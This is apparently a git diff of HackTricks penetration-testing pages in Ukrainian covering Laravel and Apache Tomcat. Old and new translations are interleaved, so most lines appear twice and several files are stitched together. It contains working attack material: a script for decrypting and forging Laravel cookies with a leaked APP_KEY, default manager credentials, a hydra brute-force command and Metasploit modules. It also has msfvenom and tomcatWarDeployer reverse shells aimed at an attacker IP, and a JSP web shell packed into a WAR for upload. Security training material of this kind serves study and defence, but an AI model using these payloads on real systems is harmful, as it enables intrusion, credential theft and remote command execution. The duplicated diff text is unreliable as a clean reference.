![](<../../.gitbook/assets/image (610).png>)
![](<../../.gitbook/assets/image (1046).png>)
Це зазвичай потрібно для експлуатації інших уразливостей Laravel RCE CVEs.
Це зазвичай потрібно для експлуатації інших CVE RCE Laravel.
### .env
Laravel зберігає APP, яке використовується для шифрування кукі та інших облікових даних, у файлі під назвою `.env`, до якого можна отримати доступ, використовуючи деяке перехресне відношення шляхів під: `/../.env`
Laravel зберігає APP, який він використовує для шифрування куків та інших облікових даних, у файлі під назвою `.env`, до якого можна отримати доступ за допомогою деякого обходу шляху: `/../.env`
Laravel також покаже цю інформацію на сторінці налагодження (яка з'являється, коли Laravel знаходить помилку та активована).
Laravel також покаже цю інформацію на сторінці налагодження (яка з'являється, коли Laravel знаходить помилку і вона активована).
Використовуючи секретний APP\_KEY Laravel, ви можете розшифрувати та повторно зашифрувати куки:
### Розшифрування куки
### Розшифрувати куки
```python
import os
import json
@ -90,14 +93,14 @@ decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
```
### Laravel Десеріалізація RCE
### Laravel Deserialization RCE
Вразливі версії: 5.5.40 та 5.6.x до 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Тут ви можете знайти інформацію про вразливість десеріалізації: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Ви можете протестувати та використовувати це за допомогою [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Або ви також можете використати це з metasploit: `use unix/http/laravel_token_unserialize_exec`
Ви можете протестувати та експлуатувати це, використовуючи [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Або ви також можете експлуатувати це з metasploit: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
@ -105,4 +108,19 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
### Laravel SQLInjection
Прочитайте інформацію про це тут: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
Читати інформацію про це тут: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Томкат
# Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити, як ваша **компанія рекламується на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакінг-трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Група Try Hard Security**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -20,34 +23,36 @@
***
## Відкриття
## Discovery
* Зазвичай працює на **порту 8080**
* **Загальна помилка Tomcat:**
* Зазвичай працює на **порті 8080**
* **Звичайна помилка Tomcat:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Перелік
## Enumeration
### **Ідентифікація версії**
### **Version Identification**
Щоб знайти версію Apache Tomcat, можна виконати просту команду:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
### **Місцезнаходження файлів менеджера**
Це буде шукати термін "Tomcat" на сторінці індексу документації, виявляючи версію в тегу заголовка HTML-відповіді.
Визначення точних місць розташування каталогів **`/manager`** та **`/host-manager`** є критичним, оскільки їх назви можуть бути змінені. Рекомендується використовувати метод перебору для пошуку цих сторінок.
### **Розташування файлів менеджера**
### **Перелік імен користувачів**
Визначення точних місць розташування **`/manager`** та **`/host-manager`** каталогів є критично важливим, оскільки їхні назви можуть бути змінені. Рекомендується використовувати брутфорс для знаходження цих сторінок.
Для версій Tomcat старших за 6 можливе перелічення імен користувачів через:
### **Перерахування імен користувачів**
Для версій Tomcat старіших за 6, можливо перерахувати імена користувачів через:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Стандартні облікові дані**
### **Типові облікові дані**
Директорія **`/manager/html`** є особливо чутливою, оскільки дозволяє завантаження та розгортання WAR-файлів, що може призвести до виконання коду. Ця директорія захищена базовою HTTP-аутентифікацією, а серед загальних облікових даних можуть бути:
Директорія **`/manager/html`** є особливо чутливою, оскільки дозволяє завантаження та розгортання WAR файлів, що може призвести до виконання коду. Ця директорія захищена базовою HTTP аутентифікацією, з типовими обліковими даними:
* admin:admin
* tomcat:tomcat
@ -56,33 +61,35 @@ msf> use auxiliary/scanner/http/tomcat_enum
* tomcat:s3cr3t
* admin:tomcat
Ці облікові дані можна перевірити за допомогою:
Ці облікові дані можна протестувати за допомогою:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Ще однією помітною директорією є **`/manager/status`**, яка відображає версію Tomcat та ОС, допомагаючи в ідентифікації вразливостей.
Іншою помітною директорією є **`/manager/status`**, яка відображає версію Tomcat та ОС, що допомагає в ідентифікації вразливостей.
### **Атака методом грубої сили**
### **Brute Force Attack**
Для спроби атаки методом грубої сили на директорію менеджера можна використати:
Щоб спробувати атаки методом грубої сили на директорію менеджера, можна використовувати:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
Along with setting various parameters in Metasploit to target a specific host.
## Загальні вразливості
### **Розкриття слідування за паролем**
### **Розкриття пароля через Backtrace**
Доступ до `/auth.jsp` може розкрити пароль у слідуванні за щасливими обставинами.
Доступ до `/auth.jsp` може розкрити пароль у backtrace за сприятливих обставин.
### **Подвійне кодування URL**
Вразливість CVE-2007-1860 в `mod_jk` дозволяє подвійне кодування URL для обходу шляху, що дозволяє несанкціонований доступ до інтерфейсу управління за допомогою спеціально створеного URL.
Вразливість CVE-2007-1860 у `mod_jk` дозволяє подвійне кодування URL для обходу шляху, що забезпечує несанкціонований доступ до інтерфейсу управління через спеціально підготовлений URL.
Для доступу до веб-інтерфейсу управління Tomcat перейдіть за посиланням: `pathTomcat/%252E%252E/manager/html`
Щоб отримати доступ до веб-інтерфейсу управління Tomcat, перейдіть за адресою: `pathTomcat/%252E%252E/manager/html`
### /приклади
### /examples
Приклади скриптів Apache Tomcat версій 4.x до 7.x піддаються розкриттю інформації та атакам на міжсайтовий скриптінг (XSS). Ці скрипти, перелічені докладно, повинні бути перевірені на несанкціонований доступ та потенційну експлуатацію. Знайдіть [додаткову інформацію тут](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
Версії Apache Tomcat 4.x до 7.x включають прикладні скрипти, які підлягають розкриттю інформації та атакам крос-сайтового скриптингу (XSS). Ці скрипти, які перераховані вичерпно, слід перевірити на несанкціонований доступ і потенційне використання. Знайдіть [більше інформації тут](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
@ -109,11 +116,11 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
### **Експлуатація обходу шляху**
У деяких [**вразливих конфігураціях Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) ви можете отримати доступ до захищених каталогів в Tomcat за допомогою шляху: `/..;/`
У деяких [**вразливих конфігураціях Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) ви можете отримати доступ до захищених каталогів у Tomcat, використовуючи шлях: `/..;/`
Таким чином, наприклад, ви можете **отримати доступ до сторінки керування Tomcat**, перейшовши за посиланням: `www.vulnerable.com/lalala/..;/manager/html`
Отже, наприклад, ви можете **отримати доступ до сторінки менеджера Tomcat**, перейшовши за адресою: `www.vulnerable.com/lalala/..;/manager/html`
**Ще один спосіб** обійти захищені шляхи за допомогою цього трюку - це доступ до `http://www.vulnerable.com/;param=value/manager/html`
**Інший спосіб** обійти захищені шляхи, використовуючи цей трюк, - це перейти за адресою `http://www.vulnerable.com/;param=value/manager/html`
## RCE
@ -121,7 +128,7 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
### Обмеження
Ви зможете розгорнути WAR лише якщо у вас є **достатньо привілеїв** (ролі: **адміністратор**, **менеджер** та **менеджер-скрипт**). Ці деталі можна знайти у _tomcat-users.xml_, як правило, визначеному в `/usr/share/tomcat9/etc/tomcat-users.xml` (відрізняється від версії) (див. [POST ](tomcat.md#post)section).
Ви зможете розгорнути WAR лише якщо у вас є **достатні привілеї** (ролі: **admin**, **manager** та **manager-script**). Ці деталі можна знайти в _tomcat-users.xml_, зазвичай визначеному в `/usr/share/tomcat9/etc/tomcat-users.xml` (це варіюється між версіями) (див. [POST ](tomcat.md#post)розділ).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -131,8 +138,6 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
### Metasploit
```bash
use exploit/multi/http/tomcat_mgr_upload
@ -142,27 +147,27 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### Зворотній оболонковий код MSFVenom
### MSFVenom Reverse Shell
1. Створіть військовий корабель для розгортання:
1. Створіть war для розгортання:
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2. Завантажте файл `revshell.war` та отримайте до нього доступ (`/revshell/`):
2. Завантажте файл `revshell.war` і отримайте доступ до нього (`/revshell/`):
### Прив'яжіть та здійсніть зворотний шелл за допомогою [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
### Bind та reverse shell з [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
У деяких сценаріях це не працює (наприклад, у старих версіях sun)
В деяких сценаріях це не працює (наприклад, старі версії sun)
#### Завантажити
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Зворотній shell
#### Зворотний шелл
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Прив'язка оболонки
#### Бінд-шелл
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
@ -170,9 +175,9 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Ручний метод - Веб-шел
### Ручний метод - Веб-оболонка
Створіть **index.jsp** з таким [вмістом](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
Створіть **index.jsp** з цим [вмістом](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
@ -203,11 +208,11 @@ jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
Ви також можете встановити це (дозволяє завантаження, завантаження та виконання команд): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
Ви також можете встановити це (дозволяє завантаження, скачування та виконання команд): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Ручний метод 2
Отримайте JSP веб-оболонку, таку як [цю](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) та створіть WAR-файл:
Отримайте JSP веб-оболонку, таку як [ця](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) та створіть файл WAR:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
@ -220,12 +225,12 @@ zip -r backup.war cmd.jsp
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Інші способи отримання облікових даних Tomcat:
Інші способи збору облікових даних Tomcat:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Інші інструменти для сканування tomcat
## Інші інструменти сканування tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
@ -234,20 +239,23 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Група з безпеки Try Hard**
**Спробуйте Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакінговими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити, як ваша **компанія рекламується на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакінг-трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Група Try Hard Security**
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -20,38 +23,36 @@
***
## Відкриття
## Discovery
* Зазвичай працює на **порту 8080**
* **Загальна помилка Tomcat:**
* Зазвичай працює на **порті 8080**
* **Звичайна помилка Tomcat:**
<figure><img src="../../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
## Перелік
## Enumeration
### **Ідентифікація версії**
### **Version Identification**
Щоб знайти версію Apache Tomcat, можна виконати просту команду:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
Це буде шукати термін "Tomcat" на сторінці індексу документації, виявляючи версію в тегу заголовка HTML-відповіді.
### **Місцезнаходження файлів менеджера**
### **Розташування файлів менеджера**
Визначення точних місць розташування каталогів **`/manager`** та **`/host-manager`** є критичним, оскільки їх назви можуть бути змінені. Рекомендується використовувати метод перебору для пошуку цих сторінок.
Визначення точних місць розташування **`/manager`** та **`/host-manager`** каталогів є критично важливим, оскільки їхні назви можуть бути змінені. Рекомендується використовувати брутфорс для знаходження цих сторінок.
### **Перелік імен користувачів**
Для версій Tomcat старших за 6 можливе перелічення імен користувачів через:
### **Перерахування імен користувачів**
Для версій Tomcat старіших за 6, можливо перерахувати імена користувачів через:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Типові облікові дані**
### **Стандартні облікові дані**
Директорія **`/manager/html`** є особливо чутливою, оскільки дозволяє завантаження та розгортання WAR-файлів, що може призвести до виконання коду. Ця директорія захищена базовою HTTP-аутентифікацією, а серед загальних облікових даних можуть бути:
Директорія **`/manager/html`** є особливо чутливою, оскільки дозволяє завантаження та розгортання WAR файлів, що може призвести до виконання коду. Ця директорія захищена базовою HTTP аутентифікацією, з типовими обліковими даними:
* admin:admin
* tomcat:tomcat
@ -61,36 +62,34 @@ msf> use auxiliary/scanner/http/tomcat_enum
* admin:tomcat
Ці облікові дані можна перевірити за допомогою:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Іншою помітною директорією є **`/manager/status`**, яка відображає версію Tomcat та ОС, що допомагає в ідентифікації вразливостей.
Ще однією помітною директорією є **`/manager/status`**, яка відображає версію Tomcat та ОС, допомагаючи в ідентифікації вразливостей.
### **Атака методом грубої сили**
Для спроби атаки методом грубої сили на директорію менеджера можна використати:
### **Brute Force Attack**
Щоб спробувати атакувати директорію менеджера за допомогою брутфорсу, можна використовувати:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
Разом із налаштуванням різних параметрів у Metasploit для націлювання на конкретний хост.
## Загальні вразливості
### **Розкриття слідування за паролем**
### **Розкриття пароля через Backtrace**
Доступ до `/auth.jsp` може розкрити пароль у слідуванні за щасливими обставинами.
Доступ до `/auth.jsp` може розкрити пароль у backtrace за сприятливих обставин.
### **Подвійне кодування URL**
Вразливість CVE-2007-1860 в `mod_jk` дозволяє подвійне кодування URL для обходу шляху, що дозволяє несанкціонований доступ до інтерфейсу управління за допомогою спеціально створеного URL.
Вразливість CVE-2007-1860 у `mod_jk` дозволяє подвійне кодування URL для обходу шляху, що забезпечує несанкціонований доступ до інтерфейсу управління через спеціально підготовлений URL.
Для доступу до веб-інтерфейсу управління Tomcat перейдіть за посиланням: `pathTomcat/%252E%252E/manager/html`
Щоб отримати доступ до веб-інтерфейсу управління Tomcat, перейдіть за адресою: `pathTomcat/%252E%252E/manager/html`
### /приклади
### /examples
Приклади скриптів Apache Tomcat версій 4.x до 7.x піддаються розкриттю інформації та атакам на міжсайтовий скриптінг (XSS). Ці скрипти, перелічені докладно, повинні бути перевірені на несанкціонований доступ та потенційну експлуатацію. Знайдіть [додаткову інформацію тут](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
Версії Apache Tomcat 4.x до 7.x включають прикладні скрипти, які підлягають розкриттю інформації та атакам крос-сайтового скриптингу (XSS). Ці скрипти, які наведені вичерпно, слід перевірити на несанкціонований доступ і потенційне використання. Знайдіть [більше інформації тут](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
@ -117,11 +116,11 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
### **Експлуатація обходу шляху**
У деяких [**вразливих конфігураціях Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) ви можете отримати доступ до захищених каталогів в Tomcat за допомогою шляху: `/..;/`
У деяких [**вразливих конфігураціях Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) ви можете отримати доступ до захищених каталогів у Tomcat, використовуючи шлях: `/..;/`
Таким чином, наприклад, ви можете **отримати доступ до сторінки керування Tomcat**, перейшовши за посиланням: `www.vulnerable.com/lalala/..;/manager/html`
Отже, наприклад, ви можете **отримати доступ до сторінки менеджера Tomcat**, перейшовши за адресою: `www.vulnerable.com/lalala/..;/manager/html`
**Ще один спосіб** обійти захищені шляхи за допомогою цього трюку - це доступ до `http://www.vulnerable.com/;param=value/manager/html`
**Інший спосіб** обійти захищені шляхи, використовуючи цей трюк, - це доступ до `http://www.vulnerable.com/;param=value/manager/html`
## RCE
@ -129,8 +128,7 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
### Обмеження
Ви зможете розгорнути WAR лише якщо у вас є **достатньо привілеїв** (ролі: **адміністратор**, **менеджер** та **менеджер-скрипт**). Ці деталі можна знайти у _tomcat-users.xml_, як правило, визначеному в `/usr/share/tomcat9/etc/tomcat-users.xml` (відрізняється від версії) (див. [POST ](./#post)section).
Ви зможете розгорнути WAR лише якщо у вас є **достатні привілеї** (ролі: **admin**, **manager** та **manager-script**). Ці деталі можна знайти в _tomcat-users.xml_, зазвичай визначеному в `/usr/share/tomcat9/etc/tomcat-users.xml` (це варіюється між версіями) (див. [POST ](./#post)розділ).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -140,11 +138,7 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
### Metasploit
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -153,49 +147,37 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom Reverse Shell
### Зворотній оболонковий код MSFVenom
1. Створіть військовий корабель для розгортання:
1. Створіть war для розгортання:
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2. Завантажте файл `revshell.war` і отримайте доступ до нього (`/revshell/`):
2. Завантажте файл `revshell.war` та отримайте до нього доступ (`/revshell/`):
### Прив'язка та зворотний шелл з [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
### Прив'яжіть та здійсніть зворотний шелл за допомогою [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
У деяких сценаріях це не працює (наприклад, у старих версіях sun)
В деяких сценаріях це не працює (наприклад, старі версії sun)
#### Завантажити
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
